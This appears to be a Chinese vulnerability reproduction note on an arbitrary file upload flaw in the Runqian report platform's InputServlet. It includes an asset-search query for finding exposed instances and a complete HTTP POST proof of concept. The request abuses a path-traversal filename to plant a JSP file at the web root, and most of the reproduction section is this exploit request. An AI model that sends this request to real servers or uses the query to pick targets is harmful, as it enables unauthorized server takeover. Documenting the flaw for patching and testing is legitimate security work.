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50 lines
1.9 KiB
Markdown
50 lines
1.9 KiB
Markdown
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# 润乾报表InputServlet存在任意文件上传漏洞
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# 一、漏洞简介
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润乾报表是一个纯JAVA的企业级报表工具支持对J2EE系统的嵌入式部署，无缝集成。服务器端支持各种常见的操作系统，提供高效的报表设计方案、强大的报表展现能力、灵活的部署机制，支持强关联语义模型，并且具备强有力的填报功能和olap分析，为企业级数据分析与商业智能提供了高性能、高效率的报表系统解决方案。润乾报表InputServlet存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。
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# 二、影响版本
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+ 润乾报表
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# 三、资产测绘
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+ hunter`app.name="润乾报表平台"`
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+ 特征
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# 四、漏洞复现
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```java
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POST /InputServlet?action=12 HTTP/1.1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
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Content-Type: multipart/form-data; boundary=00content0boundary00
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Host:
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Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
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Content-Length: 241
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Connection: close
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--00content0boundary00
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Content-Disposition: form-data; name="upsize"
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1024
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--00content0boundary00
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Content-Disposition: form-data; name="file"; filename="/\..\\..\\..\2211.jsp"
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Content-Type: image/jpeg
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123
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--00content0boundary00--
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```
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文件上传位置
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```java
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/2211.jsp
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```
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> 更新: 2024-04-16 14:37:57
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ekg0bvs3ogtplydg>
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